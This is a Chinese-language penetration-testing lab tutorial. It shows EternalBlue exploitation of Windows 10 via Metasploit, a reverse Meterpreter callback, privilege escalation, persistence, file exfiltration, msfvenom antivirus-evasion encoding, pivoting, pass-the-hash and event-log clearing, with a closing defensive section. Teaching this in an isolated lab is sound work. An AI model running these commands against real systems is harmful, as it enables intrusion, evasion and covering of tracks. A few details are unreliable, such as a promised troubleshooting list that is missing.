手把手搭建Windows 10渗透测试靶场：从Metasploit到Meterpreter实战

1. 项目概述与核心目标

最近在和一些刚入行安全测试的朋友交流时，发现一个普遍现象：大家看了很多炫酷的渗透测试演示视频，热血沸腾地装好了Kali Linux，打开Metasploit，然后……就卡住了。面对黑漆漆的命令行和复杂的参数，不知道从何下手，更别提搭建一个完整的、可供反复练习的靶场环境了。这让我想起自己刚入门时的窘境，工具都会装，但怎么把它们串起来，形成一个从侦察到控制再到后渗透的完整闭环，中间缺了太多“保姆级”的细节。所以，我决定写这篇东西，不是高深的技术探讨，而是一份真正意义上的“手把手”指南。

我们的目标非常明确：从零开始，搭建一个专属于你个人的Windows 10渗透测试实验环境，并成功使用Kali Linux上的Metasploit框架，通过Meterpreter payload获得对靶机的完全控制权。这意味着，你将拥有一台攻击机（Kali Linux）和一台靶机（Windows 10），在一个绝对安全、合法的隔离网络（通常是你的个人电脑上的虚拟网络）里，完整复现一次经典的渗透测试流程。这个过程的核心价值在于，你能在绝对可控的环境下，理解每一个命令背后的意图，观察每一个步骤产生的反馈，并安全地体验“攻击者”的视角，从而深刻理解防御的关键点。无论是为了备考OSCP、学习红队技术，还是单纯想了解黑客是如何工作的，这个环境都是你最好的沙盒。

2. 环境搭建：构建安全的实验沙盒

在真正动手指令之前，搭建一个稳固且隔离的实验环境是重中之重。这一步没做好，要么实验失败，要么可能引发不必要的风险。我们的核心原则是：所有操作必须在虚拟化环境中进行，且与你的物理主机及互联网完全隔离。

2.1 虚拟化平台选型与网络设计

首先，你需要一个虚拟化软件。VMware Workstation Player（免费）和 VirtualBox（免费开源）是最常见的选择。我个人更倾向于VMware，它在性能和网络配置的灵活性上通常表现更稳定，特别是对于需要复杂网络拓扑的进阶实验。VirtualBox则完全免费且跨平台，对于新手完全够用。

安装好虚拟化软件后，关键的一步是网络配置。千万不要使用“桥接模式”（Bridged），这会让你的靶机暴露在家庭或公司网络中，是极其危险且不道德的行为。我们需要的是一种名为“Host-Only”（仅主机）或“NAT网络”的隔离模式。

• Host-Only网络：这是最安全的隔离方案。它会创建一个完全独立的虚拟网络，只有你的物理主机（Host）和其上的虚拟机（Guest）可以相互通信。虚拟机无法访问外网，外网也无法访问虚拟机。这完美符合我们“与世隔绝”的实验室需求。在VMware中，你可以在“编辑”->“虚拟网络编辑器”里添加或确认一个Host-Only网络（如VMnet1）。
• NAT网络：虚拟机可以通过物理主机的网络连接访问外网，但外网无法直接访问虚拟机。这适合需要靶机更新系统或下载软件的场景，但会引入一丝不可控因素（比如靶机无意中连接了公司网络）。对于纯新手，我强烈建议第一步先用Host-Only。

实操步骤：

1. 在VMware中，为Kali Linux和Windows 10靶机都选择“自定义”网络配置，并指定到同一个Host-Only网络适配器（例如VMnet1）。
2. 启动两台虚拟机，在Kali中打开终端，输入ip a或ifconfig查看自己的IP地址（例如192.168.xxx.xxx）。
3. 在Windows 10靶机中，打开命令提示符（cmd），输入ipconfig查看其IP地址。确保两者在同一网段（如Kali是192.168.1.100，Win10是192.168.1.105）。
4. 互相ping一下测试连通性：在Kali终端输入ping 192.168.1.105，在Windows cmd输入ping 192.168.1.100。能通，说明网络架设成功。

注意：如果ping不通，首先检查虚拟机的防火墙是否暂时关闭（用于实验），然后确认两台虚拟机是否都连接到了同一个虚拟网络。在VMware的虚拟机设置中，可以检查网络适配器类型。

2.2 Kali Linux攻击机：安装与基础配置

Kali Linux是我们的攻击平台。直接从 Kali官网 下载最新的ISO镜像或预置的虚拟机镜像（.ova文件）。使用.ova文件是最快的方式，用VMware或VirtualBox直接导入即可。

导入后，首次启动的默认用户名是kali，密码也是kali。第一件事就是修改密码：在终端输入passwd按提示操作。

接下来，虽然Kali预装了海量工具，但我们仍需确保Metasploit及其依赖是最新且可用的。打开终端，执行系统更新：

sudo apt update && sudo apt upgrade -y

这个过程可能会花点时间，取决于你的网速。更新完成后，初始化Metasploit的数据库。这个数据库用于存储扫描结果、攻击会话等数据，对于管理多个目标非常有用。

sudo msfdb init

如果遇到类似“Failed to start postgresql”的错误，通常是因为PostgreSQL数据库服务没有运行。手动启动它即可：

sudo systemctl start postgresql sudo msfdb init # 再次初始化 sudo systemctl enable postgresql # 设置开机自启（可选）

现在，输入msfconsole就可以启动Metasploit框架的控制台了。你会看到一个充满艺术字和版本信息的启动界面，最后停留在msf6 >提示符下。恭喜，你的“武器库”主控台已经就绪。

2.3 Windows 10靶机：精心准备的“沙袋”

靶机的选择有讲究。我们当然不能拿一个打了所有补丁的最新版Windows 10来练习，那样大部分漏洞都已修复。为了学习目的，我们需要一个“有弱点”的靶机。

方案一：使用老旧或特定版本镜像你可以从微软官网下载Windows 10较早版本的ISO进行安装，例如版本1809或1903。在安装过程中，务必断开虚拟机的网络连接，防止系统自动更新补丁。安装完成后，立即创建一个虚拟机快照，命名为“Clean Install”，这样你随时可以回滚到纯净状态。

方案二：使用预置的漏洞靶机这是更推荐给新手的方案。互联网上有许多专为渗透测试练习设计的“漏洞靶机”，例如：

• Metasploitable 2/3：这是Rapid7（Metasploit母公司）官方推出的Linux靶机，漏洞百出，但并非Windows。
• Windows 7/10 漏洞环境：社区中也有一些爱好者制作的、集成了经典漏洞的Windows虚拟机镜像。请务必从可信来源下载，如 VulnHub 等知名靶场平台。

对于本篇教程，为了最经典的教学，我们假设你安装了一个未及时更新、且开启了SMBv1服务的Windows 10早期版本（例如关闭了自动更新并安装了旧版本）。再次强调，该靶机必须运行在Host-Only网络中，且仅供个人学习使用。

在靶机上，为了方便实验，我们可以暂时进行一些设置（实验结束后请恢复）：

1. 关闭Windows防火墙（控制面板->系统和安全->Windows Defender 防火墙->启用或关闭）。
2. 确保“文件和打印机共享”启用，这通常会开放SMB服务所需的端口。
3. 创建一个非管理员账户（如testuser）和一个管理员账户，用于后续的权限提升实验。

3. 漏洞利用核心：Metasploit与Meterpreter详解

环境就绪，我们进入核心环节。很多人把Metasploit当做一个“一键入侵”的黑魔法盒子，这是最大的误解。它本质上是一个模块化、流程化的渗透测试框架。理解它的工作流，比记住几个命令重要得多。

3.1 Metasploit基础架构与工作流

Metasploit将一次完整的攻击分解为几个清晰的阶段，每个阶段都有对应的模块类型：

1. Auxiliary（辅助模块）：用于信息搜集、扫描、嗅探等非直接攻击任务。例如，扫描目标开放了哪些端口，识别服务版本。
2. Exploit（漏洞利用模块）：这是“武器”本身。它包含了利用特定漏洞（如CVE-2017-0144，即MS17-010）的代码。
3. Payload（有效载荷）：漏洞利用成功后，要在目标系统上执行的代码。比如，打开一个命令行shell，或者更强大的——一个Meterpreter会话。
4. Post（后渗透模块）：在已经取得目标系统访问权限后，用于进一步行动，如提权、信息收集、横向移动等。

一次典型的攻击流程是：使用Auxiliary扫描发现漏洞 -> 选择合适的Exploit模块 -> 配置Exploit参数（目标IP、端口）-> 绑定或选择Payload -> 执行攻击 -> 获得会话 -> 使用Post模块进行后续操作。

3.2 永恒之蓝（MS17-010）漏洞原理浅析

我们选择MS17-010（永恒之蓝）作为教学案例，是因为它足够经典，影响深远，且利用过程具有代表性。这个漏洞存在于Windows的SMBv1服务器服务中。SMB（Server Message Block）是用于文件共享、打印机共享的网络协议。

漏洞的根源在于SMBv1处理某些特制请求时，存在缓冲区溢出缺陷。攻击者可以发送一个精心构造的、超长的数据包到目标的445端口（SMB默认端口）。这个数据包会覆盖掉服务进程内存中的关键数据，从而劫持程序的执行流程，让CPU转而执行攻击者嵌入在数据包中的恶意代码（即我们的Payload）。

简单类比：就像邮局（SMB服务）有一个固定大小的信箱（缓冲区）。正常信件都能放下。但攻击者寄来一个体积巨大无比的包裹（恶意数据包），不仅塞满了信箱，还把贴在信箱旁边的“下一封信件处理流程说明”（返回地址）给覆盖成了“请把后续所有邮件都送到我家（攻击者代码地址）”。于是邮递员（CPU）就照做了。

3.3 Meterpreter：为什么是“渗透测试的瑞士军刀”

Payload有很多种，最基础的是shell，它仅仅给你一个简单的命令行（cmd或bash）。而meterpreter是Metasploit的“王牌”Payload，它是一个高级的、动态可扩展的、驻留在内存中的攻击载荷。

它的强大之处在于：

• 内存驻留：传统Payload可能会在磁盘上生成一个可执行文件（.exe），极易被防病毒软件检测。Meterpreter的Stage 1（初始载荷）非常小，只负责建立连接和加载核心DLL到内存中，Stage 2（功能DLL）通过网络动态注入，全程可能不接触磁盘，规避静态查杀。
• 加密通信：Meterpreter会话的通信是加密的，增加了网络流量检测的难度。
• 模块化设计：你可以随时加载新的功能模块，如键盘记录、屏幕捕捉、ARP嗅探等，无需重新部署整个Payload。
• 权限提升与迁移：内置getsystem等提权命令，以及migrate命令，可以将Meterpreter会话从一个不稳定的进程（如刚刚被利用的漏洞进程）迁移到一个像svchost.exe这样的稳定系统进程中，实现持久化和隐蔽。

在本次实验中，我们将使用windows/x64/meterpreter/reverse_tcp。这是一个反向TCP连接Payload。意思是，攻击机（Kali）在本地某个端口（如4444）开启监听，漏洞利用成功后，靶机（Windows）会主动向攻击机的这个端口发起连接，建立Meterpreter会话通道。反向连接通常比正向连接（让攻击机去连靶机的端口）更容易穿透出站规则较宽松的防火墙。

4. 实战演练：步步为营的渗透测试

理论铺垫完成，让我们进入实战。请确保你的Kali（攻击机）和Windows 10（靶机）已在Host-Only网络中启动，并已知它们的IP地址（假设Kali:192.168.1.100， Win10:192.168.1.105）。

4.1 第一阶段：侦察与扫描

在发动攻击前，我们必须确认目标是否存在我们想利用的漏洞。盲目攻击是低效且危险的（可能触发警报）。

1. 启动Metasploit并搜索模块：

   # 在Kali终端中 msfconsole # 等待进入 msf6 > 提示符 msf6 > search ms17-010

   你会看到一系列模块，包括exploit和auxiliary。我们先用辅助扫描模块进行探测。

2. 使用扫描模块进行漏洞验证：

   msf6 > use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary(scanner/smb/smb_ms17_010) > show options

   show options命令查看该模块需要配置哪些参数。其中RHOSTS是必填项，代表目标主机。

3. 设置目标并执行扫描：

   msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.105 RHOSTS => 192.168.1.105 msf6 auxiliary(scanner/smb/smb_ms17_010) > run

   如果目标存在MS17-010漏洞，输出中会明确显示The target is vulnerable.。如果显示The target is not vulnerable.，则说明系统已打补丁，你需要换一个靶机或寻找其他漏洞。

4.2 第二阶段：配置与发动攻击

确认漏洞存在后，我们换上真正的攻击模块。

1. 选择漏洞利用模块：

   msf6 auxiliary(scanner/smb/smb_ms17_010) > back # 返回上级 msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

2. 配置攻击参数： 我们需要设置三个核心参数：

   • RHOSTS: 目标IP（192.168.1.105）
   • PAYLOAD: 我们选择Meterpreter反向TCP载荷（windows/x64/meterpreter/reverse_tcp）
   • LHOST: 监听器IP，即你的Kali IP（192.168.1.100）
   • LPORT: 监听端口，任意未被占用的高端口即可（如4444）

   msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.105 msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100 msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444

   再次使用show options确认所有Required（必需的）参数都已设置为正确的值。

3. 执行攻击： 这是最激动人心的一步。输入以下命令：

   msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

   或者，你也可以用run命令。 此时，Metasploit会开始执行漏洞利用过程。你会看到大量输出滚动，如果一切顺利，最终你会看到类似以下的提示符切换：

   [*] Sending stage (200774 bytes) to 192.168.1.105 [*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.105:49875) at 2023-10-27 10:00:00 meterpreter >

   恭喜！meterpreter >提示符的出现，意味着你已经成功在目标Windows 10系统上建立了一个Meterpreter会话，获得了初步的控制权。

4.3 第三阶段：后渗透与权限提升

拿到Meterpreter会话只是开始，就像拿到了房间的钥匙。接下来，我们要在房间里探索、寻找更有价值的东西，并确保我们下次还能进来。

1. 基础信息收集：

   meterpreter > sysinfo # 查看目标系统信息，如计算机名、OS版本、架构等。 meterpreter > getuid # 查看当前Meterpreter会话运行在哪个用户权限下。很可能只是一个普通用户。 Server username: DESKTOP-ABC123\testuser

   看到是普通用户（如testuser）很正常。很多漏洞利用初始获得的权限都不高。

2. 尝试权限提升： Meterpreter内置了强大的提权命令getsystem。它会尝试多种技术（如令牌模仿、命名管道模拟等）来将权限提升至NT AUTHORITY\SYSTEM（Windows最高权限）。

   meterpreter > getsystem ...尝试技术1... ...尝试技术2... ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM

   提权成功！现在你拥有了该系统的最高控制权。

3. 进程迁移与持久化（关键技巧）： 通过永恒之蓝漏洞建立的进程可能不稳定，或者容易被用户发现。我们需要“跳船”到一个更稳定、更隐蔽的进程中去。

   • 首先，列出目标系统上的所有进程：

     meterpreter > ps

   • 找到一个以SYSTEM权限运行的、稳定的进程，例如services.exe或svchost.exe，记下它的PID（进程ID）。
   • 使用migrate命令将会话迁移到该进程：

     meterpreter > migrate <PID> # 例如 migrate 668

   • 持久化：为了在目标重启后仍能保持访问，可以使用persistence模块。但请注意，在真实授权测试中，这需要明确获得许可。在实验环境中，我们可以了解其用法：

     meterpreter > run persistence -h # 查看帮助 # 一个常见的例子，创建计划任务实现持久化 meterpreter > run persistence -U -i 30 -p 4444 -r 192.168.1.100 # -U: 用户登录时触发， -i: 回连间隔(秒)， -p: 回连端口， -r: 攻击机IP

4. 文件系统交互与数据窃取（模拟）：

   meterpreter > pwd # 查看当前工作目录（在目标上） meterpreter > ls # 列出文件 meterpreter > cd C:\\Users\\Administrator\\Desktop # 切换目录 meterpreter > download secret.txt /home/kali/ # 下载文件到攻击机 meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\Windows\\Temp\\ # 上传工具到目标

5. 获取标准Shell： 如果有些操作使用Meterpreter内置命令不方便，可以获取一个标准的Windows命令行shell。

   meterpreter > shell Process 3840 created. Channel 1 created. Microsoft Windows [Version 10.0.18363.1256] (c) 2019 Microsoft Corporation. All rights reserved. C:\Windows\system32>

   你可以在此执行任何cmd命令。输入exit可以退出shell，回到meterpreter。

5. 深度解析与高级技巧

掌握了基本流程后，我们需要深入理解一些关键细节和高级操作，这能让你从“会用工具”进阶到“理解原理”。

5.1 Payload生成与免杀初探

我们之前使用的是Metasploit内置的Payload。但在真实环境中，这种Payload的特征早已被各大安全厂商录入特征库，极易被防病毒软件（AV）检测并清除。因此，“免杀”（Antivirus Evasion）是红队必备技能。

Metasploit提供了msfvenom工具，用于生成独立的Payload可执行文件，并可以对其进行编码、加密、捆绑等操作，以绕过简单的静态查杀。

基础生成示例：

# 在Kali终端（非msfconsole内）执行 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe

这条命令生成了一个名为payload.exe的Windows 64位可执行文件，功能与之前一样。但如果你把这个文件放到安装了杀毒软件的Windows 10上，大概率会被秒杀。

简单的编码绕过：

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded_payload.exe

-e指定编码器（这里是著名的“shikata ga nai”），-i 5表示迭代编码5次。这可以改变文件签名，绕过一些基于简单特征的查杀。但现代AV大多采用启发式、行为检测甚至AI模型，仅靠编码已远远不够。

进阶思路：

• 分离加载器：生成一个不包含恶意代码的“加载器”（Dropper）和一个加密的Payload文件。加载器运行时，从网络或本地解密Payload并注入内存。
• 合法软件捆绑：将Payload与一个正常的软件（如计算器）捆绑在一起。
• 使用C#、PowerShell等脚本语言：利用系统原生组件（如powershell.exe）执行内存中的脚本，减少文件落地。
• 定制化开发：完全自己编写Shellcode加载器，这是最有效但门槛最高的方法。

重要提示：免杀是一个持续的猫鼠游戏。任何公开的、广为人知的技术都会很快失效。这里的介绍仅为教学目的，让你理解攻击者面临的挑战和防御者（蓝队）需要关注的点——不能只依赖静态特征码查杀，必须结合行为监控、网络流量分析等动态手段。

5.2 多级攻击与横向移动模拟

在真实的内部网络渗透中，攻击者很少止步于一台机器。他们会以第一台被攻陷的机器为跳板，向内网其他机器发起攻击，这就是横向移动。

假设我们已控制了一台内网机器（192.168.1.105），发现内网还存在另一台服务器（192.168.1.110）。我们可以这样做：

1. 在已控机器上添加路由：告诉Metasploit，通过当前会话可以去访问另一个网段。

   meterpreter > run autoroute -s 192.168.1.0/24 # 或者 background 会话后，在msf中操作 meterpreter > background # 将当前meterpreter会话放到后台 msf6 exploit(windows/smb/ms17_010_eternalblue) > route add 192.168.1.0/24 <session_id> # <session_id> 替换为你的meterpreter会话编号，如1

2. 使用Socks代理：将已控机器设置为一个Socks4/5代理，让攻击机上的其他扫描工具（如Nmap）也能通过这个代理扫描内网。

   msf6 > use auxiliary/server/socks_proxy msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080 msf6 auxiliary(server/socks_proxy) > run -j

   然后在你的系统或扫描工具中配置代理为127.0.0.1:1080。

3. 扫描内网新目标：配置好路由或代理后，你就可以在msfconsole里使用其他扫描模块，去探测192.168.1.110了，仿佛你就在内网一样。

   msf6 > use auxiliary/scanner/portscan/tcp msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.110 msf6 auxiliary(scanner/portscan/tcp) > set PORTS 445,3389 msf6 auxiliary(scanner/portscan/tcp) > run

4. 利用Pass-the-Hash等攻击：如果在内网第一台机器上抓取到了其他域用户的哈希值（NTLM Hash），甚至可以直接利用这些哈希值，在不破解明文密码的情况下，验证并登录到其他服务器（如192.168.1.110），这就是“哈希传递”攻击。这涉及到使用如psexec、smbexec等模块，并设置SMBPass为抓取到的哈希值。

5.3 痕迹清理与实验环境还原

学习攻击的同时，必须学习如何清理痕迹，这是一个专业渗透测试员的素养。在实验结束后，你需要：

1. 在Meterpreter中清理痕迹：

   • 使用timestomp命令修改你创建的或访问过的文件的时间戳。
   • 清除Windows事件日志（需管理员权限）：

     meterpreter > run event_manager -c # 清除所有事件日志（谨慎使用）

   • 删除添加的持久化后门（如果你创建了的话）。这通常需要找到对应的注册表键值、计划任务或启动文件夹中的文件进行删除。

2. 还原虚拟机快照： 这是实验环境中最干净、最推荐的做法。在VMware或VirtualBox中，直接关闭靶机虚拟机，然后恢复到实验开始前创建的干净快照（例如我们之前提到的“Clean Install”快照）。这样，所有在靶机上做的修改，包括漏洞利用、文件创建、用户添加等，都会被彻底抹除，得到一个全新的、纯净的练习环境。

6. 常见问题、排错与安全思考

即使跟着教程一步步做，你也可能会遇到各种问题。这里汇总了一些常见坑点及其解决方案。

6.1 漏洞利用失败原因排查

如果exploit命令执行后没有返回meterpreter>会话，通常有以下原因：

6.2 Meterpreter会话操作常见问题

• getsystem提权失败：并非所有情况都能提权成功。可以尝试使用post/multi/recon/local_exploit_suggester模块，它会自动检测并推荐适合本地提权的漏洞。

  meterpreter > background msf6 > use post/multi/recon/local_exploit_suggester msf6 post(multi/recon/local_exploit_suggester) > set SESSION <session_id> msf6 post(multi/recon/local_exploit_suggester) > run

• 文件上传/下载速度慢或失败：检查网络连接，或者尝试使用-r参数进行递归传输时，网络不稳定可能导致中断。对于大文件，可以尝试分段或使用其他传输方式。
• shell命令执行后乱码：这是因为Windows命令行（cmd）的编码与Unix终端不同。在meterpreter中执行chcp 65001可以切换到UTF-8编码，有时能改善。或者，直接在shell中执行powershell进入PowerShell，其输出兼容性更好。

6.3 从攻击者视角到防御者思维的转变

完成整个实验后，我希望你收获的不只是几个命令，而是一种思维方式。作为防御者（蓝队），你应该从这次实验中学到：

1. 补丁管理至关重要：一个三年前的高危漏洞（MS17-010）就能导致系统被完全控制。及时安装安全更新是成本最低、效果最显著的防御措施。
2. 最小权限原则：即使攻击者通过某个服务漏洞入侵，如果该服务运行在低权限账户下，其破坏力也会受到限制。避免使用SYSTEM或Administrator权限运行应用程序和服务。
3. 网络分段与防火墙：如果靶机处于严格的内网分段中，即使被攻陷，攻击者想进行横向移动也会困难得多。严格配置防火墙，仅开放必要的端口（如关闭不必要的SMBv1端口445）。
4. 监控与检测：对异常的网络连接（如内向的445端口扫描、外向的到未知IP的4444端口连接）、进程创建（如突然出现的cmd.exe或未知进程）、以及敏感文件访问行为进行监控和告警。
5. 终端防护：现代EDR（终端检测与响应）解决方案可以检测Meterpreter等工具的内存注入、进程迁移等可疑行为，而不仅仅是依赖文件特征码。

搭建这个环境并成功完成渗透，只是一个起点。真正的价值在于，你亲身体验了攻击链的每一个环节，从而能更具体、更深刻地理解，防御体系应该在哪个环节布置检测、在哪个环节进行阻断。这才是“以攻促防”的意义所在。我建议你在熟悉基本流程后，尝试在靶机上开启Windows Defender等基础防护，再尝试绕过它，这个过程会让你对攻防对抗有更立体的认识。